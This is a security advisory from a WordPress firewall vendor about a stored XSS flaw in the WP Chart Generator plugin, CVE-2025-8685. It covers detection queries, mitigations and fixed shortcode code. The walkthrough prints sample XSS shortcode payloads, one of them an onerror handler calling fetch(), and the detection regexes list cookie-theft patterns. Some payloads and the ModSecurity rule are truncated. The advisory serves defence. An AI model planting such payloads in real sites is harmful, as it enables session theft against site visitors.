Plugin-navn	Wp chart generator
Type of Vulnerability	Authenticated Stored XSS
CVE Number	CVE-2025-8685
Hastighed	Lav
CVE Publish Date	2025-08-11
Source URL	CVE-2025-8685

Vulnerability Advisory: WP Chart Generator (<= 1.0.4) — Authenticated Contributor Stored XSS via [wpchart] Shortcode (CVE‑2025‑8685)

Dato: 2025-08-11
Forfatter: WP-Firewall Security Team
Tags: WordPress, XSS, WAF, plugin-security, incident-response

Executive summary

A stored cross-site scripting (XSS) vulnerability affecting the “WP Chart Generator” WordPress plugin (versions <= 1.0.4) was disclosed and assigned CVE‑2025‑8685. The issue allows an authenticated user with Contributor-level privileges (or higher) to inject a malicious script via the plugin’s [wpchart] shortcode. Because the malicious payload is stored and rendered to visitors, the exploit leads to arbitrary JavaScript execution in the context of a site visitor’s browser.

Severity is rated as low-to-medium (Patch priority: Low; CVSS vector 6.5 in the reported disclosure). The vulnerability requires an authenticated account with at least Contributor privileges, and there is currently no official vendor patch available for the affected versions. This advisory explains the technical details, exploitation risk, detection techniques, short-term mitigations, recommended developer fixes, WAF rule examples you can deploy immediately, and a practical incident response checklist.

We write this from the WP-Firewall perspective — as an experienced WordPress security provider and WAF operator — to help site owners understand the risk and protect their sites.

What is the vulnerability?

• Affected software: WP Chart Generator plugin
• Affected versions: <= 1.0.4
• Vulnerability type: Stored Cross-Site Scripting (XSS) in the rendering of the [wpchart] shortcode
• Required privilege: Contributor (or higher)
• Published: 11 August 2025
• CVE: CVE‑2025‑8685
• Official fix: None at time of publication

The vulnerability occurs because the plugin renders user-supplied shortcode attributes and/or inner content directly into front-end HTML without proper sanitization and output escaping. A malicious Contributor account can create a post or page containing a specially crafted [wpchart] shortcode with embedded JavaScript payloads (for example in attributes or in inner HTML of the shortcode). When the page is viewed, the browser executes that JavaScript in the context of the site.

Why it matters (impact analysis)

Although exploitation requires contributor-level access, stored XSS is inherently dangerous:

• Stored XSS means the attacker stores malicious code in the site database (as post content, shortcode content, or plugin meta) so it executes every time visitors view the affected page.
• The JavaScript executes in the victim’s browser with the page’s origin privileges. That can:
  • Steal authentication cookies or session tokens (if cookies are not HttpOnly), potentially enabling account takeover.
  • Perform actions on behalf of logged-in administrators via CSRF-like interactions.
  • Display phishing overlays to capture credentials, inject malicious advertisements, or redirect visitors to malware.
  • Load additional external scripts (malware loaders / cryptominers).
• Even if the attacker is limited to Contributor privileges, many sites permit user registration or have multiple authors, so it’s not uncommon for low-privilege users to be present.
• Attack surface increases when the site has privileged editors or admins who view pages while logged-in.

Given these possibilities, stored XSS is more severe than reflected XSS: the payload persists and can be triggered repeatedly.

How the exploit looks — a high-level technical walkthrough

The plugin is reported to register a shortcode (e.g. [wpchart]) which accepts attributes such as labels, colors, dataset values, titles, etc. Vulnerability specifics: the plugin concatenates those attributes into the generated HTML/JS for the chart without sufficient sanitation and output escaping.

A simplified exploitation flow:

1. An attacker registers or uses a Contributor account (or compromises one).
2. They create a draft or post containing a crafted [wpchart] shortcode that includes an attribute like title=”<script></script>” or data-label=”"><img src="x" onerror="">”>
3. Because the plugin fails to sanitize correctly, the stored value contains executable JS. When the post is rendered on the front-end, the browser executes the malicious code.
4. The attacker’s payload executes in the victim’s browser (site visitors, editors, or admins who view the page).

A minimal illustrative payload (do not run on public sites) that demonstrates the concept:

[wpchart title="</title><script></script><title>"]

Or using an image-onerror variant:

[wpchart data='[{"label":"<img src="x" onerror="fetch(\"https:>","value":10}]']

The core issue: untrusted input is rendered with HTML/JS context and not escaped or filtered via safe allowlists.

Exploitation scenarios and who is at risk

• Sites that allow contributors to create content (e.g., membership sites, multi-author blogs) can be targeted.
• Author/contributor accounts created by social registration plugins, bulk imports, or compromised accounts.
• Sites where admin/editor accounts view front-end pages while logged in (common during preview or review), increasing chance of compromise for high-privileged accounts.
• Guest visitors who are not logged in can be affected (XSS executes in their browsers), which makes this a privacy and reputation risk.
• Stores and sites with payment pages are particularly sensitive — injected scripts can tamper with checkout flows.

Detection — how to find vulnerable or exploited instances

1. Search for [wpchart] instances in post content and meta:

WP-CLI approach:

# Search posts and pages for 'wpchart'
wp post list --post_type='post,page' --format=ids | xargs -n1 -I% wp post get % --field=post_content | grep -n '\[wpchart'

SQL approach:

-- Search post_content for the wpchart shortcode
SELECT ID, post_title
FROM wp_posts
WHERE post_content LIKE '%[wpchart%';

2. Look for suspicious payload patterns:

• Strings containing “<script”, “onerror=”, “onload=”, “javascript:”, “document.cookie”, “window.location”, “fetch(“, “XMLHttpRequest”.
• Encoded versions (e.g., <script>, %3Cscript%3E) — remember attackers often encode payloads.

Example SQL to find script fragments:

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content REGEXP '(?i)(<script|onerror=|javascript:|document.cookie|fetch\\()';

3. Search plugin options or postmeta where plugin may store chart configurations:

SELECT post_id, meta_key, meta_value
FROM wp_postmeta
WHERE meta_value LIKE '%wpchart%'
OR meta_value REGEXP '(?i)(<script|onerror=|javascript:|document.cookie|fetch\\()';

4. Webserver logs & WAF alerts:

• Look for unusual requests (POSTs creating posts/updates) originating from contributor users or IPs.
• Check for repeated fetches to third-party attacker domains originating from your pages.

5. Use an automated malware scanner and content scanner to pick up embedded script tags or suspicious attributes in post content.

Short-term mitigations (for site owners and admins)

If you run a site with the vulnerable plugin installed and you cannot immediately update because there’s no vendor patch, take the following steps immediately:

1. Remove or deactivate the plugin (preferred):
   • If you don’t need charting capability now, deactivate and remove the plugin until a fixed release is available.
2. Restrict or suspend Contributor accounts:
   • Temporarily disable new registrations or change default role to Subscriber.
   • Review Contributor accounts and suspend or reset passwords for suspicious accounts.
3. Review content and remove malicious shortcodes:
   • Search all posts/pages as described above and carefully inspect any [wpchart] occurrences. Manually remove or sanitize entries containing script-like patterns.
4. Add server-side filters via a small snippet that neutralizes [wpchart] shortcodes before rendering (temporary virtual patch):

<?php
// mu-plugin/wpchart-sanitizer.php
if ( ! function_exists( 'wpchart_sanitized_handler' ) ) {
    function wpchart_sanitized_handler( $atts = [], $content = '' ) {
        // Basic attribute sanitization example
        $atts = array_map( 'sanitize_text_field', (array) $atts );
        // whitelist numeric attributes
        if ( isset( $atts['width'] ) ) {
            $atts['width'] = intval( $atts['width'] );
        }
        if ( isset( $atts['height'] ) ) {
            $atts['height'] = intval( $atts['height'] );
        }
        // sanitize content using a safe allowlist
        $content = wp_kses( $content, array(
            'a' => array( 'href' => true, 'title' => true ),
            'span' => array( 'class' => true ),
        ) );
        // Build safe output (example: escaped)
        $title = isset( $atts['title'] ) ? esc_html( $atts['title'] ) : '';
        return '<div class="wpchart-safe" data-config="' . esc_attr( json_encode( $atts ) ) . '">' . $title . $content . '</div>';
    }

    // Remove original shortcode if registered and register safe handler
    remove_shortcode( 'wpchart' );
    add_shortcode( 'wpchart', 'wpchart_sanitized_handler' );
}

Notes:

• The snippet is a temporary virtual-patch: it sanitizes attributes and rewrites how the shortcode is rendered.
• Put this as an mu-plugin to ensure it loads before other plugins.
• Adjust allowed tags in wp_kses according to your needs.

5. Harden browser-level defenses:
   • Add or tighten Content Security Policy (CSP) to block inline scripts and restrict script-src to trusted domains. A strict CSP can prevent many XSS payloads from executing:
     
     Example header: Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.example.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
   • Ensure cookies are set with HttpOnly and Secure flags.
6. Enable WAF rules (see below) — create a focused rule to block requests that attempt to publish or update content containing script-like payloads in wpchart shortcodes.

WAF / ModSecurity rules you can deploy (examples)

Below are examples to add to your WAF (or to a ModSecurity deployment). These are designed to be conservative but effective for blocking common XSS payloads associated with [wpchart].

Important: test rules on a staging site before applying to production to avoid false positives.

# ModSecurity example
SecRule REQUEST_URI|REQUEST_BODY "@rx \[wpchart[^\]]*(
WAF tips:

Tailor rules to target the plugin by matching the exact shortcode token [wpchart and/or postmeta keys the plugin uses.
Log matches to review false positives for a few days before switching to deny mode.
Combine WAF rules with rate-limiting to slow repeated exploitation attempts.

Recommended permanent code fixes for plugin developers
If you maintain the plugin or contribute to its codebase, here are robust steps to remediate the vulnerability correctly.

Sanitize input on accept:

Use typed validation for expected numeric data: intval(), floatval(), is_{{pc_skip_field}} checks.
Use sanitize_text_field() for simple string values.
For JSON configuration passed via attributes, parse JSON and validate each key’s type.


Escape output according to context:

Use esc_attr() for values inserted into HTML attributes.
Use esc_html() for text content inserted between tags.
Use wp_kses() with strict allowlists for HTML content that must be kept.
Never echo unchecked user input directly into inline <script> contexts; build JSON on the server with wp_json_encode() then escape it via esc_attr() when placing into data-* attributes.


Avoid writing raw JavaScript with concatenated user data:

Prefer to output data-* attributes with JSON and let a known, minified client-side script read that data and render the chart — with careful validation on both ends.


Capability checks and nonce validation:

If the plugin exposes any AJAX endpoints or admin UI that stores content, enforce capability checks (current_user_can()) and check_admin_referer() for nonces.
Ensure only proper roles can modify plugin settings.


Example of safe shortcode output pattern:

function wpchart_safe_shortcode( $atts = [], $content = '' ) {
    $atts = shortcode_atts( array(
        'title' => '',
        'width' => 600,
        'height' => 400,
        'data' => '[]',
    ), $atts, 'wpchart' );

    // Sanitize / validate
    $safe = array(
        'title'  => sanitize_text_field( $atts['title'] ),
        'width'  => intval( $atts['width'] ),
        'height' => intval( $atts['height'] ),
    );

    // For JSON data: decode and validate structure; re-encode safely
    $data = json_decode( wp_unslash( $atts['data'] ), true );
    if ( ! is_array( $data ) ) {
        $data = array();
    }
    // Validate each data point (example)
    $validated_data = array();
    foreach ( $data as $row ) {
        $label = isset( $row['label'] ) ? sanitize_text_field( $row['label'] ) : '';
        $value = isset( $row['value'] ) ? floatval( $row['value'] ) : 0;
        $validated_data[] = array( 'label' => $label, 'value' => $value );
    }

    // Output: store config safely in data attribute and escape it for HTML
    $cfg = wp_json_encode( array(
        'title' => $safe['title'],
        'width' => $safe['width'],
        'height'=> $safe['height'],
        'data'  => $validated_data,
    ) );

    return sprintf(
        '<div class="wpchart" data-wpchart="%s"></div>',
        esc_attr( $cfg )
    );
}


Avoid inline script tags that interpolate user-provided values. Use external JS that reads sanitized data-* attributes.

Incident response: If you suspect exploitation

Take the affected page(s) offline (unpublish) or put site into maintenance mode if widespread.
Identify and remove malicious posts, shortcodes, or plugin meta entries (as per detection guidance).
Change passwords for users with Contributor+ accounts and administrators. Force password resets for all site users if necessary.
Inspect server logs for suspicious activity and IPs. Block attacker IPs using WAF or host-level firewall.
Run a full site malware scan and file integrity check. Check for added admin users or backdoors.
Rotate API keys, integration tokens, and any stored credentials that could be at risk.
If admin accounts were compromised, perform a full audit of site settings and restore from a clean backup if required.
Notify affected users if user data may have been exposed (follow privacy law obligations).
After cleanup, harden the site:

Re-enable stricter registration policies, two-factor authentication for elevated roles, Content Security Policy, and HTTP headers (HSTS, X-Content-Type-Options).


Monitor for re-injection attempts and add long-term WAF rules.

Monitoring and detection after cleanup

Enable logging on WAF and review for blocked patterns.
Set content integrity monitors to watch for the reappearance of [wpchart] shortcodes containing suspicious attributes.
Schedule weekly scans for a period after incident resolution.
Consider a staged deployment of the plugin only after a fixed release is available.

Why virtual patching via WAF is useful here
When no vendor patch exists, virtual patching (deploying a WAF rule that blocks the exploit pattern) gives immediate protection by preventing the malicious request from reaching the vulnerable code path or by blocking requests that contain suspicious payloads. Virtual patching is a fast interim step — it does not replace a proper code fix, but it drastically reduces risk while waiting for an official patch.
WP-Firewall’s virtual patching approach focuses on the vulnerable entrypoints (shortcode save/update and admin POSTs), pattern-based detections, and context-aware rule sets to minimize false positives. If you use a managed WAF solution, ask for rules specifically targeting incoming content containing [wpchart] + script-like payloads.
Hardening recommendations to reduce XSS risk site-wide

Enforce principle of least privilege: assign Contributor role sparingly; consider using a custom role with more restricted capabilities.
Require editorial review workflow: Contributors submit posts for review by editors (default WordPress behavior for the Contributor role).
Enforce strong passwords and two-factor authentication for admin/editor accounts.
Disallow untrusted user registration or require admin approval.
Use Content Security Policy to reduce impact of inline scripts (report-only mode first to avoid site breakage).
Ensure all cookies that contain session data are HttpOnly and Secure and consider SameSite=Lax/Strict settings where appropriate.
Keep plugins and WordPress core updated and run periodic security audits.
Implement staging/testing for plugin updates and security fixes before production rollout.

A short note for developers: test for XSS during plugin QA

Include input fuzzing tests for shortcode attributes and stored values.
Automate tests to check for unescaped outputs in HTML and JS contexts.
Review third-party libraries and chart rendering code to ensure data is passed safely (prefer data-* + JSON + safe client-side rendering).
Encourage responsible disclosure and maintain a public changelog and VDP contact to speed coordination on security issues.


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Frequently asked questions (FAQ)
Q: If I am not using the WP Chart Generator plugin, am I affected?

A: No. This advisory relates specifically to the WP Chart Generator plugin and versions <= 1.0.4. However, the guidance in this article is broadly applicable to any plugin that renders unescaped user input. Always keep plugins updated and follow the hardening tips.
Q: If an attacker needs a Contributor account, is my site safe?

A: Not automatically. Many sites allow registrations that yield low-privilege accounts, and attackers often target weak or reused passwords. Treat user registration as a risk vector and limit privileges where possible.
Q: Will a Content Security Policy fully prevent exploitation?

A: A well-configured CSP significantly reduces the impact of many XSS payloads by forbidding inline scripts and restricting script origins, but it should be used in combination with input sanitation and WAF rules. CSP is defense in depth, not a sole fix.
Q: Is the issue already patched?

A: At the time of this advisory, no official fixed version is available for the affected plugin. We recommend following the vendor's release channel for patches, and apply the mitigations above in the meantime.
Closing thoughts
Stored XSS vulnerabilities like CVE‑2025‑8685 are insidious because they can persist and silently affect site visitors or administrators. The exploit requires authenticated access, but there are many realistic ways an attacker can obtain contributor-level permissions. You should treat the discovery of unescaped shortcodes and plugin-rendered JavaScript as high-priority issues, even when CVSS classifies them as "low" or "medium" — real-world impact depends on site context.
Immediate actions: review and sanitize content, suspend or restrict Contributor capabilities, deploy temporary sanitation code or WAF rules, and remove or deactivate the plugin if feasible. For plugin authors, implement strict input validation and proper output escaping for all shortcode attributes and stored content.
WP‑Firewall is prepared to help site owners with monitoring, virtual patching, and tailored rule sets to shield sites while vendors develop official patches. If you need assistance applying temporary rules or scanning your site for suspicious [wpchart] instances, reach out to your security team or managed provider.
Stay safe, review your content, and limit the blast radius of low-privilege user accounts.